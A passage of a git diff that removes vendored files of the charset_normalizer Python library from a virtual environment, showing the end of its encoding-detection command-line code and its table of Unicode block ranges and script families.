cp != best_guess.encoding - ], - best_guess.language, - best_guess.alphabets, - best_guess.bom, - best_guess.percent_chaos, - best_guess.percent_coherence, - None, - True, - ) - x_.append(cli_result) - - if len(matches) > 1 and args.alternatives: - for el in matches: - if el != best_guess: - x_.append( - CliDetectionResult( - abspath(my_file.name), - el.encoding, - el.encoding_aliases, - [ - cp - for cp in el.could_be_from_charset - if cp != el.encoding - ], - el.language, - el.alphabets, - el.bom, - el.percent_chaos, - el.percent_coherence, - None, - False, - ) - ) - - if args.normalize is True: - if best_guess.encoding.startswith("utf") is True: - print( - '"{}" file does not need to be normalized, as it already came from unicode.'.format( - my_file.name - ), - file=sys.stderr, - ) - if my_file.closed is False: - my_file.close() - continue - - dir_path = dirname(realpath(my_file.name)) - file_name = basename(realpath(my_file.name)) - - o_: list[str] = file_name.split(".") - - if args.replace is False: - o_.insert(-1, best_guess.encoding) - if my_file.closed is False: - my_file.close() - elif ( - args.force is False - and query_yes_no( - 'Are you sure to normalize "{}" by replacing it ?'.format( - my_file.name - ), - "no", - ) - is False - ): - if my_file.closed is False: - my_file.close() - continue - - try: - cli_result.unicode_path = join(dir_path, ".".join(o_)) - - with open(cli_result.unicode_path, "wb") as fp: - fp.write(best_guess.output()) - except OSError as e: # Defensive: - print(str(e), file=sys.stderr) - if my_file.closed is False: - my_file.close() - return 2 - - if my_file.closed is False: - my_file.close() - - if args.minimal is False: - from json import dumps - - print( - dumps( - [el.__dict__ for el in x_] if len(x_) > 1 else x_[0].__dict__, - ensure_ascii=True, - indent=4, - ) - ) - else: - for my_file in args.files: - print( - ", ".join( - [ - el.encoding or "undefined" - for el in x_ - if el.path == abspath(my_file.name) - ] - ) - ) - - return 0 - - -if __name__ == "__main__": # Defensive: - cli_detect() diff --git a/venv/Lib/site-packages/charset_normalizer/constant.py b/venv/Lib/site-packages/charset_normalizer/constant.py deleted file mode 100644 index c57bf1b53bab383166ddb5ca1e671eeff5634b22..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer/constant.py +++ /dev/null @@ -1,2496 +0,0 @@ -from __future__ import annotations - -from codecs import BOM_UTF8, BOM_UTF16_BE, BOM_UTF16_LE, BOM_UTF32_BE, BOM_UTF32_LE -from encodings.aliases import aliases -from re import IGNORECASE -from re import compile as re_compile - -# Contain for each eligible encoding a list of/item bytes SIG/BOM -ENCODING_MARKS: dict[str, bytes | list[bytes]] = { - "utf_8": BOM_UTF8, - "utf_7": [ - b"\x2b\x2f\x76\x38", - b"\x2b\x2f\x76\x39", - b"\x2b\x2f\x76\x2b", - b"\x2b\x2f\x76\x2f", - ], - "gb18030": b"\x84\x31\x95\x33", - "utf_32": [BOM_UTF32_BE, BOM_UTF32_LE], - "utf_16": [BOM_UTF16_BE, BOM_UTF16_LE], -} - -TOO_SMALL_SEQUENCE: int = 32 -TOO_BIG_SEQUENCE: int = int(10e6) - -UTF8_MAXIMAL_ALLOCATION: int = 1_112_064 - -# Up-to-date Unicode ucd/17.0.0 -UNICODE_RANGES_COMBINED: dict[str, range] = { - "Control character": range(32), - "Basic Latin": range(32, 128), - "Latin-1 Supplement": range(128, 256), - "Latin Extended-A": range(256, 384), - "Latin Extended-B": range(384, 592), - "IPA Extensions": range(592, 688), - "Spacing Modifier Letters": range(688, 768), - "Combining Diacritical Marks": range(768, 880), - "Greek and Coptic": range(880, 1024), - "Cyrillic": range(1024, 1280), - "Cyrillic Supplement": range(1280, 1328), - "Armenian": range(1328, 1424), - "Hebrew": range(1424, 1536), - "Arabic": range(1536, 1792), - "Syriac": range(1792, 1872), - "Arabic Supplement": range(1872, 1920), - "Thaana": range(1920, 1984), - "NKo": range(1984, 2048), - "Samaritan": range(2048, 2112), - "Mandaic": range(2112, 2144), - "Syriac Supplement": range(2144, 2160), - "Arabic Extended-B": range(2160, 2208), - "Arabic Extended-A": range(2208, 2304), - "Devanagari": range(2304, 2432), - "Bengali": range(2432, 2560), - "Gurmukhi": range(2560, 2688), - "Gujarati": range(2688, 2816), - "Oriya": range(2816, 2944), - "Tamil": range(2944, 3072), - "Telugu": range(3072, 3200), - "Kannada": range(3200, 3328), - "Malayalam": range(3328, 3456), - "Sinhala": range(3456, 3584), - "Thai": range(3584, 3712), - "Lao": range(3712, 3840), - "Tibetan": range(3840, 4096), - "Myanmar": range(4096, 4256), - "Georgian": range(4256, 4352), - "Hangul Jamo": range(4352, 4608), - "Ethiopic": range(4608, 4992), - "Ethiopic Supplement": range(4992, 5024), - "Cherokee": range(5024, 5120), - "Unified Canadian Aboriginal Syllabics": range(5120, 5760), - "Ogham": range(5760, 5792), - "Runic": range(5792, 5888), - "Tagalog": range(5888, 5920), - "Hanunoo": range(5920, 5952), - "Buhid": range(5952, 5984), - "Tagbanwa": range(5984, 6016), - "Khmer": range(6016, 6144), - "Mongolian": range(6144, 6320), - "Unified Canadian Aboriginal Syllabics Extended": range(6320, 6400), - "Limbu": range(6400, 6480), - "Tai Le": range(6480, 6528), - "New Tai Lue": range(6528, 6624), - "Khmer Symbols": range(6624, 6656), - "Buginese": range(6656, 6688), - "Tai Tham": range(6688, 6832), - "Combining Diacritical Marks Extended": range(6832, 6912), - "Balinese": range(6912, 7040), - "Sundanese": range(7040, 7104), - "Batak": range(7104, 7168), - "Lepcha": range(7168, 7248), - "Ol Chiki": range(7248, 7296), - "Cyrillic Extended-C": range(7296, 7312), - "Georgian Extended": range(7312, 7360), - "Sundanese Supplement": range(7360, 7376), - "Vedic Extensions": range(7376, 7424), - "Phonetic Extensions": range(7424, 7552), - "Phonetic Extensions Supplement": range(7552, 7616), - "Combining Diacritical Marks Supplement": range(7616, 7680), - "Latin Extended Additional": range(7680, 7936), - "Greek Extended": range(7936, 8192), - "General Punctuation": range(8192, 8304), - "Superscripts and Subscripts": range(8304, 8352), - "Currency Symbols": range(8352, 8400), - "Combining Diacritical Marks for Symbols": range(8400, 8448), - "Letterlike Symbols": range(8448, 8528), - "Number Forms": range(8528, 8592), - "Arrows": range(8592, 8704), - "Mathematical Operators": range(8704, 8960), - "Miscellaneous Technical": range(8960, 9216), - "Control Pictures": range(9216, 9280), - "Optical Character Recognition": range(9280, 9312), - "Enclosed Alphanumerics": range(9312, 9472), - "Box Drawing": range(9472, 9600), - "Block Elements": range(9600, 9632), - "Geometric Shapes": range(9632, 9728), - "Miscellaneous Symbols": range(9728, 9984), - "Dingbats": range(9984, 10176), - "Miscellaneous Mathematical Symbols-A": range(10176, 10224), - "Supplemental Arrows-A": range(10224, 10240), - "Braille Patterns": range(10240, 10496), - "Supplemental Arrows-B": range(10496, 10624), - "Miscellaneous Mathematical Symbols-B": range(10624, 10752), - "Supplemental Mathematical Operators": range(10752, 11008), - "Miscellaneous Symbols and Arrows": range(11008, 11264), - "Glagolitic": range(11264, 11360), - "Latin Extended-C": range(11360, 11392), - "Coptic": range(11392, 11520), - "Georgian Supplement": range(11520, 11568), - "Tifinagh": range(11568, 11648), - "Ethiopic Extended": range(11648, 11744), - "Cyrillic Extended-A": range(11744, 11776), - "Supplemental Punctuation": range(11776, 11904), - "CJK Radicals Supplement": range(11904, 12032), - "Kangxi Radicals": range(12032, 12256), - "Ideographic Description Characters": range(12272, 12288), - "CJK Symbols and Punctuation": range(12288, 12352), - "Hiragana": range(12352, 12448), - "Katakana": range(12448, 12544), - "Bopomofo": range(12544, 12592), - "Hangul Compatibility Jamo": range(12592, 12688), - "Kanbun": range(12688, 12704), - "Bopomofo Extended": range(12704, 12736), - "CJK Strokes": range(12736, 12784), - "Katakana Phonetic Extensions": range(12784, 12800), - "Enclosed CJK Letters and Months": range(12800, 13056), - "CJK Compatibility": range(13056, 13312), - "CJK Unified Ideographs Extension A": range(13312, 19904), - "Yijing Hexagram Symbols": range(19904, 19968), - "CJK Unified Ideographs": range(19968, 40960), - "Yi Syllables": range(40960, 42128), - "Yi Radicals": range(42128, 42192), - "Lisu": range(42192, 42240), - "Vai": range(42240, 42560), - "Cyrillic Extended-B": range(42560, 42656), - "Bamum": range(42656, 42752), - "Modifier Tone Letters": range(42752, 42784), - "Latin Extended-D": range(42784, 43008), - "Syloti Nagri": range(43008, 43056), - "Common Indic Number Forms": range(43056, 43072), - "Phags-pa": range(43072, 43136), - "Saurashtra": range(43136, 43232), - "Devanagari Extended": range(43232, 43264), - "Kayah Li": range(43264, 43312), - "Rejang": range(43312, 43360), - "Hangul Jamo Extended-A": range(43360, 43392), - "Javanese": range(43392, 43488), - "Myanmar Extended-B": range(43488, 43520), - "Cham": range(43520, 43616), - "Myanmar Extended-A": range(43616, 43648), - "Tai Viet": range(43648, 43744), - "Meetei Mayek Extensions": range(43744, 43776), - "Ethiopic Extended-A": range(43776, 43824), - "Latin Extended-E": range(43824, 43888), - "Cherokee Supplement": range(43888, 43968), - "Meetei Mayek": range(43968, 44032), - "Hangul Syllables": range(44032, 55216), - "Hangul Jamo Extended-B": range(55216, 55296), - "High Surrogates": range(55296, 56192), - "High Private Use Surrogates": range(56192, 56320), - "Low Surrogates": range(56320, 57344), - "Private Use Area": range(57344, 63744), - "CJK Compatibility Ideographs": range(63744, 64256), - "Alphabetic Presentation Forms": range(64256, 64336), - "Arabic Presentation Forms-A": range(64336, 65024), - "Variation Selectors": range(65024, 65040), - "Vertical Forms": range(65040, 65056), - "Combining Half Marks": range(65056, 65072), - "CJK Compatibility Forms": range(65072, 65104), - "Small Form Variants": range(65104, 65136), - "Arabic Presentation Forms-B": range(65136, 65280), - "Halfwidth and Fullwidth Forms": range(65280, 65520), - "Specials": range(65520, 65536), - "Linear B Syllabary": range(65536, 65664), - "Linear B Ideograms": range(65664, 65792), - "Aegean Numbers": range(65792, 65856), - "Ancient Greek Numbers": range(65856, 65936), - "Ancient Symbols": range(65936, 66000), - "Phaistos Disc": range(66000, 66048), - "Lycian": range(66176, 66208), - "Carian": range(66208, 66272), - "Coptic Epact Numbers": range(66272, 66304), - "Old Italic": range(66304, 66352), - "Gothic": range(66352, 66384), - "Old Permic": range(66384, 66432), - "Ugaritic": range(66432, 66464), - "Old Persian": range(66464, 66528), - "Deseret": range(66560, 66640), - "Shavian": range(66640, 66688), - "Osmanya": range(66688, 66736), - "Osage": range(66736, 66816), - "Elbasan": range(66816, 66864), - "Caucasian Albanian": range(66864, 66928), - "Vithkuqi": range(66928, 67008), - "Todhri": range(67008, 67072), - "Linear A": range(67072, 67456), - "Latin Extended-F": range(67456, 67520), - "Cypriot Syllabary": range(67584, 67648), - "Imperial Aramaic": range(67648, 67680), - "Palmyrene": range(67680, 67712), - "Nabataean": range(67712, 67760), - "Hatran": range(67808, 67840), - "Phoenician": range(67840, 67872), - "Lydian": range(67872, 67904), - "Sidetic": range(67904, 67936), - "Meroitic Hieroglyphs": range(67968, 68000), - "Meroitic Cursive": range(68000, 68096), - "Kharoshthi": range(68096, 68192), - "Old South Arabian": range(68192, 68224), - "Old North Arabian": range(68224, 68256), - "Manichaean": range(68288, 68352), - "Avestan": range(68352, 68416), - "Inscriptional Parthian": range(68416, 68448), - "Inscriptional Pahlavi": range(68448, 68480), - "Psalter Pahlavi": range(68480, 68528), - "Old Turkic": range(68608, 68688), - "Old Hungarian": range(68736, 68864), - "Hanifi Rohingya": range(68864, 68928), - "Garay": range(68928, 69008), - "Rumi Numeral Symbols": range(69216, 69248), - "Yezidi": range(69248, 69312), - "Arabic Extended-C": range(69312, 69376), - "Old Sogdian": range(69376, 69424), - "Sogdian": range(69424, 69488), - "Old Uyghur": range(69488, 69552), - "Chorasmian": range(69552, 69600), - "Elymaic": range(69600, 69632), - "Brahmi": range(69632, 69760), - "Kaithi": range(69760, 69840), - "Sora Sompeng": range(69840, 69888), - "Chakma": range(69888, 69968), - "Mahajani": range(69968, 70016), - "Sharada": range(70016, 70112), - "Sinhala Archaic Numbers": range(70112, 70144), - "Khojki": range(70144, 70224), - "Multani": range(70272, 70320), - "Khudawadi": range(70320, 70400), - "Grantha": range(70400, 70528), - "Tulu-Tigalari": range(70528, 70656), - "Newa": range(70656, 70784), - "Tirhuta": range(70784, 70880), - "Siddham": range(71040, 71168), - "Modi": range(71168, 71264), - "Mongolian Supplement": range(71264, 71296), - "Takri": range(71296, 71376), - "Myanmar Extended-C": range(71376, 71424), - "Ahom": range(71424, 71504), - "Dogra": range(71680, 71760), - "Warang Citi": range(71840, 71936), - "Dives Akuru": range(71936, 72032), - "Nandinagari": range(72096, 72192), - "Zanabazar Square": range(72192, 72272), - "Soyombo": range(72272, 72368), - "Unified Canadian Aboriginal Syllabics Extended-A": range(72368, 72384), - "Pau Cin Hau": range(72384, 72448), - "Devanagari Extended-A": range(72448, 72544), - "Sharada Supplement": range(72544, 72576), - "Sunuwar": range(72640, 72704), - "Bhaiksuki": range(72704, 72816), - "Marchen": range(72816, 72896), - "Masaram Gondi": range(72960, 73056), - "Gunjala Gondi": range(73056, 73136), - "Tolong Siki": range(73136, 73200), - "Makasar": range(73440, 73472), - "Kawi": range(73472, 73568), - "Lisu Supplement": range(73648, 73664), - "Tamil Supplement": range(73664, 73728), - "Cuneiform": range(73728, 74752), - "Cuneiform Numbers and Punctuation": range(74752, 74880), - "Early Dynastic Cuneiform": range(74880, 75088), - "Cypro-Minoan": range(77712, 77824), - "Egyptian Hieroglyphs": range(77824, 78896), - "Egyptian Hieroglyph Format Controls": range(78896, 78944), - "Egyptian Hieroglyphs Extended-A": range(78944, 82944), - "Anatolian Hieroglyphs": range(82944, 83584), - "Gurung Khema": range(90368, 90432), - "Bamum Supplement": range(92160, 92736), - "Mro": range(92736, 92784), - "Tangsa": range(92784, 92880), - "Bassa Vah": range(92880, 92928), - "Pahawh Hmong": range(92928, 93072), - "Kirat Rai": range(93504, 93568), - "Medefaidrin": range(93760, 93856), - "Beria Erfe": range(93856, 93920), - "Miao": range(93952, 94112), - "Ideographic Symbols and Punctuation": range(94176, 94208), - "Tangut": range(94208, 100352), - "Tangut Components": range(100352, 101120), - "Khitan Small Script": range(101120, 101632), - "Tangut Supplement": range(101632, 101760), - "Tangut Components Supplement": range(101760, 101888), - "Kana Extended-B": range(110576, 110592), - "Kana Supplement": range(110592, 110848), - "Kana Extended-A": range(110848, 110896), - "Small Kana Extension": range(110896, 110960), - "Nushu": range(110960, 111360), - "Duployan": range(113664, 113824), - "Shorthand Format Controls": range(113824, 113840), - "Symbols for Legacy Computing Supplement": range(117760, 118464), - "Miscellaneous Symbols Supplement": range(118464, 118528), - "Znamenny Musical Notation": range(118528, 118736), - "Byzantine Musical Symbols": range(118784, 119040), - "Musical Symbols": range(119040, 119296), - "Ancient Greek Musical Notation": range(119296, 119376), - "Kaktovik Numerals": range(119488, 119520), - "Mayan Numerals": range(119520, 119552), - "Tai Xuan Jing Symbols": range(119552, 119648), - "Counting Rod Numerals": range(119648, 119680), - "Mathematical Alphanumeric Symbols": range(119808, 120832), - "Sutton SignWriting": range(120832, 121520), - "Latin Extended-G": range(122624, 122880), - "Glagolitic Supplement": range(122880, 122928), - "Cyrillic Extended-D": range(122928, 123024), - "Nyiakeng Puachue Hmong": range(123136, 123216), - "Toto": range(123536, 123584), - "Wancho": range(123584, 123648), - "Nag Mundari": range(124112, 124160), - "Ol Onal": range(124368, 124416), - "Tai Yo": range(124608, 124672), - "Ethiopic Extended-B": range(124896, 124928), - "Mende Kikakui": range(124928, 125152), - "Adlam": range(125184, 125280), - "Indic Siyaq Numbers": range(126064, 126144), - "Ottoman Siyaq Numbers": range(126208, 126288), - "Arabic Mathematical Alphabetic Symbols": range(126464, 126720), - "Mahjong Tiles": range(126976, 127024), - "Domino Tiles": range(127024, 127136), - "Playing Cards": range(127136, 127232), - "Enclosed Alphanumeric Supplement": range(127232, 127488), - "Enclosed Ideographic Supplement": range(127488, 127744), - "Miscellaneous Symbols and Pictographs": range(127744, 128512), - "Emoticons": range(128512, 128592), - "Ornamental Dingbats": range(128592, 128640), - "Transport and Map Symbols": range(128640, 128768), - "Alchemical Symbols": range(128768, 128896), - "Geometric Shapes Extended": range(128896, 129024), - "Supplemental Arrows-C": range(129024, 129280), - "Supplemental Symbols and Pictographs": range(129280, 129536), - "Chess Symbols": range(129536, 129648), - "Symbols and Pictographs Extended-A": range(129648, 129792), - "Symbols for Legacy Computing": range(129792, 130048), - "CJK Unified Ideographs Extension B": range(131072, 173792), - "CJK Unified Ideographs Extension C": range(173824, 177984), - "CJK Unified Ideographs Extension D": range(177984, 178208), - "CJK Unified Ideographs Extension E": range(178208, 183984), - "CJK Unified Ideographs Extension F": range(183984, 191472), - "CJK Unified Ideographs Extension I": range(191472, 192096), - "CJK Compatibility Ideographs Supplement": range(194560, 195104), - "CJK Unified Ideographs Extension G": range(196608, 201552), - "CJK Unified Ideographs Extension H": range(201552, 205744), - "CJK Unified Ideographs Extension J": range(205744, 210048), - "Tags": range(917504, 917632), - "Variation Selectors Supplement": range(917760, 918000), - "Supplementary Private Use Area-A": range(983040, 1048576), - "Supplementary Private Use Area-B": range(1048576, 1114112), -} - -# Canonical family for every Unicode range above. Keep this exhaustive and -# explicit: official block names are labels, not a grammar we should parse. -_RANGE_FAMILIES: dict[str, str] = { - "Control character": "Control character", - "Basic Latin": "Latin", - "Latin-1 Supplement": "Latin", - "Latin Extended-A": "Latin", - "Latin Extended-B": "Latin", - "IPA Extensions": "IPA", - "Spacing Modifier Letters": "Spacing Modifier Letters", - "Combining Diacritical Marks": "Combining", - "Greek and Coptic": "Greek", - "Cyrillic": "Cyrillic", - "Cyrillic Supplement": "Cyrillic", - "Armenian": "Armenian", - "Hebrew": "Hebrew", - "Arabic": "Arabic", - "Syriac": "Syriac", - "Arabic Supplement": "Arabic", - "Thaana": "Thaana", - "NKo": "NKo", - "Samaritan": "Samaritan", - "Mandaic": "Mandaic", - "Syriac Supplement": "Syriac", - "Arabic Extended-B": "Arabic", - "Arabic Extended-A": "Arabic", - "Devanagari": "Devanagari", - "Bengali": "Bengali", - "Gurmukhi": "Gurmukhi", - "Gujarati": "Gujarati", - "Oriya": "Oriya", - "Tamil": "Tamil", - "Telugu": "Telugu", - "Kannada": "Kannada", - "Malayalam": "Malayalam", - "Sinhala": "Sinhala", - "Thai": "Thai", - "Lao": "Lao", - "Tibetan": "Tibetan", - "Myanmar": "Myanmar", - "Georgian": "Georgian", - "Hangul Jamo": "Hangul", - "Ethiopic": "Ethiopic", - "Ethiopic Supplement": "Ethiopic", - "Cherokee": "Cherokee", - "Unified Canadian Aboriginal Syllabics": "Unified Canadian Aboriginal Syllabics", - "Ogham": "Ogham", - "Runic": "Runic", - "Tagalog": "Tagalog", - "Hanunoo": "Hanunoo", - "Buhid": "Buhid", - "Tagbanwa": "Tagbanwa", - "Khmer": "Khmer", - "Mongolian": "Mongolian", - "Unified Canadian Aboriginal Syllabics Extended": "Unified Canadian Aboriginal Syllabics", - "Limbu": "Limbu", - "Tai Le": "Tai Le", - "New Tai Lue": "New Tai Lue", - "Khmer Symbols": "Khmer", - "Buginese": "Buginese", - "Tai Tham": "Tai Tham", - "Combining Diacritical Marks Extended": "Combining", - "Balinese": "Balinese", - "Sundanese": "Sundanese", - "Batak": "Batak", - "Lepcha": "Lepcha", - "Ol Chiki": "Ol Chiki", - "Cyrillic Extended-C": "Cyrillic", - "Georgian Extended": "Georgian", - "Sundanese Supplement": "Sundanese", - "Vedic Extensions": "Vedic", - "Phonetic Extensions": "Phonetic", - "Phonetic Extensions Supplement": "Phonetic", - "Combining Diacritical Marks Supplement": "Combining", - "Latin Extended Additional": "Latin", - "Greek Extended": "Greek", - "General Punctuation": "Punctuation", - "Superscripts and Subscripts": "Superscripts and Subscripts", - "Currency Symbols": "Currency Symbols", - "Combining Diacritical Marks for Symbols": "Combining", - "Letterlike Symbols": "Letterlike Symbols", - "Number Forms": "Number Forms", - "Arrows": "Arrows", - "Mathematical Operators": "Mathematical", - "Miscellaneous Technical": "Miscellaneous Technical", - "Control Pictures": "Control Pictures", - "Optical Character Recognition": "Optical Character Recognition", - "Enclosed Alphanumerics": "Enclosed Alphanumerics", - "Box Drawing": "Box Drawing", - "Block Elements": "Block Elements", - "Geometric Shapes": "Geometric Shapes", - "Miscellaneous Symbols": "Miscellaneous Symbols", - "Dingbats": "Dingbats", - "Miscellaneous Mathematical Symbols-A": "Mathematical", - "Supplemental Arrows-A": "Arrows", - "Braille Patterns": "Braille", - "Supplemental Arrows-B": "Arrows", - "Miscellaneous Mathematical Symbols-B": "Mathematical", - "Supplemental Mathematical Operators": "Mathematical", - "Miscellaneous Symbols and Arrows": "Miscellaneous Symbols and Arrows", - "Glagolitic": "Glagolitic", - "Latin Extended-C": "Latin", - "Coptic": "Coptic", - "Georgian Supplement": "Georgian", - "Tifinagh": "Tifinagh", - "Ethiopic Extended": "Ethiopic", - "Cyrillic Extended-A": "Cyrillic", - "Supplemental Punctuation": "Punctuation", - "CJK Radicals Supplement": "CJK", - "Kangxi Radicals": "CJK", - "Ideographic Description Characters": "CJK", - "CJK Symbols and Punctuation": "CJK", - "Hiragana": "Hiragana", - "Katakana": "Katakana", - "Bopomofo": "Bopomofo", - "Hangul Compatibility Jamo": "Hangul", - "Kanbun": "Kanbun", - "Bopomofo Extended": "Bopomofo", - "CJK Strokes": "CJK", - "Katakana Phonetic Extensions": "Katakana", - "Enclosed CJK Letters and Months": "CJK", - "CJK Compatibility": "CJK", - "CJK Unified Ideographs Extension A": "CJK", - "Yijing Hexagram Symbols": "Yijing Hexagram Symbols", - "CJK Unified Ideographs": "CJK", - "Yi Syllables": "Yi", - "Yi Radicals": "Yi", - "Lisu": "Lisu", - "Vai": "Vai", - "Cyrillic Extended-B": "Cyrillic", - "Bamum": "Bamum", - "Modifier Tone Letters": "Phonetic", - "Latin Extended-D": "Latin", - "Syloti Nagri": "Syloti Nagri", - "Common Indic Number Forms": "Common Indic Number Forms", - "Phags-pa": "Phags-pa", - "Saurashtra": "Saurashtra", - "Devanagari Extended": "Devanagari", - "Kayah Li": "Kayah Li", - "Rejang": "Rejang", - "Hangul Jamo Extended-A": "Hangul", - "Javanese": "Javanese", - "Myanmar Extended-B": "Myanmar", - "Cham": "Cham", - "Myanmar Extended-A": "Myanmar", - "Tai Viet": "Tai Viet", - "Meetei Mayek Extensions": "Meetei Mayek", - "Ethiopic Extended-A": "Ethiopic", - "Latin Extended-E": "Latin", - "Cherokee Supplement": "Cherokee", - "Meetei Mayek": "Meetei Mayek", - "Hangul Syllables": "Hangul", - "Hangul Jamo Extended-B": "Hangul", - "High Surrogates": "Surrogates", - "High Private Use Surrogates": "Surrogates", - "Low Surrogates": "Surrogates", - "Private Use Area": "Private Use", - "CJK Compatibility Ideographs": "CJK", - "Alphabetic Presentation Forms": "Alphabetic Presentation Forms", - "Arabic Presentation Forms-A": "Arabic", - "Variation Selectors": "Variation Selectors", - "Vertical Forms": "CJK", - "Combining Half Marks": "Combining", - "CJK Compatibility Forms": "CJK", - "Small Form Variants": "CJK", - "Arabic Presentation Forms-B": "Arabic", - "Halfwidth and Fullwidth Forms": "Halfwidth and Fullwidth Forms", - "Specials": "Specials", - "Linear B Syllabary": "Linear B", - "Linear B Ideograms": "Linear B", - "Aegean Numbers": "Aegean Numbers", - "Ancient Greek Numbers": "Greek", - "Ancient Symbols": "Ancient Symbols", - "Phaistos Disc": "Phaistos Disc", - "Lycian": "Lycian", - "Carian": "Carian", - "Coptic Epact Numbers": "Coptic", - "Old Italic": "Old Italic", - "Gothic": "Gothic", - "Old Permic": "Old Permic", - "Ugaritic": "Ugaritic", - "Old Persian": "Old Persian", - "Deseret": "Deseret", - "Shavian": "Shavian", - "Osmanya": "Osmanya", - "Osage": "Osage", - "Elbasan": "Elbasan", - "Caucasian Albanian": "Caucasian Albanian", - "Vithkuqi": "Vithkuqi", - "Todhri": "Todhri", - "Linear A": "Linear A", - "Latin Extended-F": "Latin", - "Cypriot Syllabary": "Cypriot", - "Imperial Aramaic": "Imperial Aramaic", - "Palmyrene": "Palmyrene", - "Nabataean": "Nabataean", - "Hatran": "Hatran", - "Phoenician": "Phoenician", - "Lydian": "Lydian", - "Sidetic": "Sidetic", - "Meroitic Hieroglyphs": "Meroitic", - "Meroitic Cursive": "Meroitic", - "Kharoshthi": "Kharoshthi", - "Old South Arabian": "Old South Arabian", - "Old North Arabian": "Old North Arabian", - "Manichaean": "Manichaean", - "Avestan": "Avestan", - "Inscriptional Parthian": "Parthian", - "Inscriptional Pahlavi": "Pahlavi", - "Psalter Pahlavi": "Pahlavi", - "Old Turkic": "Old Turkic", - "Old Hungarian": "Old Hungarian", - "Hanifi Rohingya": "Hanifi Rohingya", - "Garay": "Garay", - "Rumi Numeral Symbols": "Arabic", - "Yezidi": "Yezidi", - "Arabic Extended-C": "Arabic", - "Old Sogdian": "Sogdian", - "Sogdian": "Sogdian", - "Old Uyghur": "Old Uyghur", - "Chorasmian": "Chorasmian", - "Elymaic": "Elymaic", - "Brahmi": "Brahmi", - "Kaithi": "Kaithi", - "Sora Sompeng": "Sora Sompeng", - "Chakma": "Chakma", - "Mahajani": "Mahajani", - "Sharada": "Sharada", - "Sinhala Archaic Numbers": "Sinhala", - "Khojki": "Khojki", - "Multani": "Multani", - "Khudawadi": "Khudawadi", - "Grantha": "Grantha", - "Tulu-Tigalari": "Tulu-Tigalari", - "Newa": "Newa", - "Tirhuta": "Tirhuta", - "Siddham": "Siddham", - "Modi": "Modi", - "Mongolian Supplement": "Mongolian", - "Takri": "Takri", - "Myanmar Extended-C": "Myanmar", - "Ahom": "Ahom", - "Dogra": "Dogra", - "Warang Citi": "Warang Citi", - "Dives Akuru": "Dives Akuru", - "Nandinagari": "Nandinagari", - "Zanabazar Square": "Zanabazar Square", - "Soyombo": "Soyombo", - "Unified Canadian Aboriginal Syllabics Extended-A": "Unified Canadian Aboriginal Syllabics", - "Pau Cin Hau": "Pau Cin Hau", - "Devanagari Extended-A": "Devanagari", - "Sharada Supplement": "Sharada", - "Sunuwar": "Sunuwar", - "Bhaiksuki": "Bhaiksuki", - "Marchen": "Marchen", - "Masaram Gondi": "Masaram Gondi", - "Gunjala Gondi": "Gunjala Gondi", - "Tolong Siki": "Tolong Siki", - "Makasar": "Makasar", - "Kawi": "Kawi", - "Lisu Supplement": "Lisu", - "Tamil Supplement": "Tamil", - "Cuneiform": "Cuneiform", - "Cuneiform Numbers and Punctuation": "Cuneiform", - "Early Dynastic Cuneiform": "Cuneiform", - "Cypro-Minoan": "Cypro-Minoan", - "Egyptian Hieroglyphs": "Egyptian Hieroglyphs", - "Egyptian Hieroglyph Format Controls": "Egyptian Hieroglyphs", - "Egyptian Hieroglyphs Extended-A": "Egyptian Hieroglyphs", - "Anatolian Hieroglyphs": "Anatolian Hieroglyphs", - "Gurung Khema": "Gurung Khema", - "Bamum Supplement": "Bamum", - "Mro": "Mro", - "Tangsa": "Tangsa", - "Bassa Vah": "Bassa Vah", - "Pahawh Hmong": "Pahawh Hmong", - "Kirat Rai": "Kirat Rai", - "Medefaidrin": "Medefaidrin", - "Beria Erfe": "Beria Erfe", - "Miao": "Miao", - "Ideographic Symbols and Punctuation": "CJK", - "Tangut": "Tangut", - "Tangut Components": "Tangut", - "Khitan Small Script": "Khitan Small Script", - "Tangut Supplement": "Tangut", - "Tangut Components Supplement": "Tangut", - "Kana Extended-B": "Kana", - "Kana Supplement": "Kana", - "Kana Extended-A": "Kana", - "Small Kana Extension": "Kana", - "Nushu": "Nushu", - "Duployan": "Duployan", - "Shorthand Format Controls": "Shorthand Format Controls", - "Symbols for Legacy Computing Supplement": "Symbols for Legacy Computing", - "Miscellaneous Symbols Supplement": "Miscellaneous Symbols", - "Znamenny Musical Notation": "Znamenny Musical Notation", - "Byzantine Musical Symbols": "Byzantine Musical Symbols", - "Musical Symbols": "Musical Symbols", - "Ancient Greek Musical Notation": "Greek", - "Kaktovik Numerals": "Kaktovik Numerals", - "Mayan Numerals": "Mayan Numerals", - "Tai Xuan Jing Symbols": "Tai Xuan Jing Symbols", - "Counting Rod Numerals": "Counting Rod Numerals", - "Mathematical Alphanumeric Symbols": "Mathematical", - "Sutton SignWriting": "Sutton SignWriting", - "Latin Extended-G": "Latin", - "Glagolitic Supplement": "Glagolitic", - "Cyrillic Extended-D": "Cyrillic", - "Nyiakeng Puachue Hmong": "Nyiakeng Puachue Hmong", - "Toto": "Toto", - "Wancho": "Wancho", - "Nag Mundari": "Nag Mundari", - "Ol Onal": "Ol Onal", - "Tai Yo": "Tai Yo", - "Ethiopic Extended-B": "Ethiopic", - "Mende Kikakui": "Mende Kikakui", - "Adlam": "Adlam", - "Indic Siyaq Numbers": "Indic Siyaq Numbers", - "Ottoman Siyaq Numbers": "Ottoman Siyaq Numbers", - "Arabic Mathematical Alphabetic Symbols": "Arabic", - "Mahjong Tiles": "Mahjong Tiles", - "Domino Tiles": "Domino Tiles", - "Playing Cards": "Playing Cards", - "Enclosed Alphanumeric Supplement": "Enclosed Alphanumerics", - "Enclosed Ideographic Supplement": "CJK", - "Miscellaneous Symbols and Pictographs": "Pictographs", - "Emoticons": "Emoticons", - "Ornamental Dingbats": "Dingbats", - "Transport and Map Symbols": "Pictographs", - "Alchemical Symbols": "Alchemical Symbols", - "Geometric Shapes Extended": "Geometric Shapes", - "Supplemental Arrows-C": "Arrows", - "Supplemental Symbols and Pictographs": "Pictographs", - "Chess Symbols": "Chess Symbols", - "Symbols and Pictographs Extended-A": "Pictographs", - "Symbols for Legacy Computing": "Symbols for Legacy Computing", - "CJK Unified Ideographs Extension B": "CJK", - "CJK Unified Ideographs Extension C": "CJK", - "CJK Unified Ideographs Extension D": "CJK", - "CJK Unified Ideographs Extension E": "CJK", - "CJK Unified Ideographs Extension F": "CJK", - "CJK Unified Ideographs Extension I": "CJK", - "CJK Compatibility Ideographs Supplement": "CJK", - "CJK Unified Ideographs Extension G": "CJK", - "CJK 